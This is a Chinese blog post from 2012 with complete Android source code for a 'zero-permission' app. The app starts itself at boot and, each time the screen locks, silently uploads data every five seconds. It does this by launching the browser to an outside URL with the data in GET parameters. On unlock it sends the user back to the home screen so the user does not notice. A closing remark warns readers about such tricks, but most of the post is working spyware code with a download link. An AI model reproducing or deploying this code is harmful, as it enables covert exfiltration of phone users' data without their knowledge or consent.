上次寫過一篇文章 拋磚引玉 之 誰動了我的隱私(android用戶隱私窺探) 描述如何讀取系統(tǒng)log緩沖區(qū)但還存在權(quán)限提示問題。
這次來個稍微好點的,真正的0權(quán)限上傳數(shù)據(jù)
同上次講的一樣,雖然大部分用戶在安裝app時對權(quán)限警告視而不見,但相信以后用戶會對權(quán)限問題越來越重視的。
這次咱們先真正的來一次0權(quán)限上傳熱熱身。
一、原理
首先利用的還是那個開機啟動bug。
然后,在手機鎖屏時上傳數(shù)據(jù)。
如何上傳數(shù)據(jù)呢,為了避免權(quán)限咱們得瞞天過海。
我們知道,在Intent轉(zhuǎn)向的時候,可以轉(zhuǎn)到標(biāo)記為ACTION_VIEW的activity,而瀏覽器都有這個標(biāo)記,可以傳一個uri過去。
soga,說到這里,,明白了吧。就是使用http的GET傳參,雖然只能傳明文,但已經(jīng)夠了,更何況一次能傳輸?shù)淖止?jié)也還是很客觀的。
至于傳什么,每個想實現(xiàn)這種功能的人都有其目的吧。
二、實現(xiàn)
首先是清單文件,不需要聲明任何權(quán)限,只需要寫一個廣播接收者和一個服務(wù)即可
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.igeek.hack"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="8" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name =".reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >
<service android:name=".service.HackerService"/>
</application>
</manifest>
然后就是廣播接收者的實現(xiàn),很簡單,單純的開啟一個服務(wù)
package org.igeek.hack.reciver;
import org.igeek.hack.service.HackerService;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* @author 作者 E-mail:hangxin1940@gmail.com
* @version 創(chuàng)建時間:2012-01-13 下午10:32:21
* 類說明
*/
public class HackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class);
context.startService(it);
}
}
最后,就是關(guān)鍵部分,服務(wù)的實現(xiàn)
1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author 作者 E-mail:hangxin1940@gmail.com
18 * @version 創(chuàng)建時間:2012-01-13 下午10:42:11
19 * 類說明
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET提交地址
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //如果是鎖屏狀態(tài)
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET上傳,內(nèi)容隨你
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"提交數(shù)據(jù)->"+HACK_URL+hackInfo);
52
53 //每隔5秒,執(zhí)行一次上傳
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "開機完成,注冊廣播接收者");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * 解鎖廣播接收者
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "屏幕解開");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "轉(zhuǎn)向HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * 鎖屏廣播接收者
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "屏幕鎖住");
123
124 //500ms后開始執(zhí)行上傳數(shù)據(jù)
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }
三、效果
哈,運行下試試,關(guān)機。。。開機。。。鎖屏。。解鎖。。沒發(fā)現(xiàn)什么反應(yīng)啊。。。再看看程序管理。。Hack程序也沒有任何權(quán)限提示啊。。。
真的這樣嗎?來看看log
you see? 流量就這么悄悄的耗了。
本工程包地址:hack_0p_upload.zip
結(jié)束語
這么流氓的伎倆,相信誰都不想碰到,google market也混亂的一塌糊涂,android app混亂的不成樣子,大家還是擦亮雙眼,安全,一定要注意的。
另外,關(guān)于開機啟動的這個bug,貌似360的手機安全軟件可以檢測出來。其它的我沒試,因為我很懶,我從來不裝安全軟件。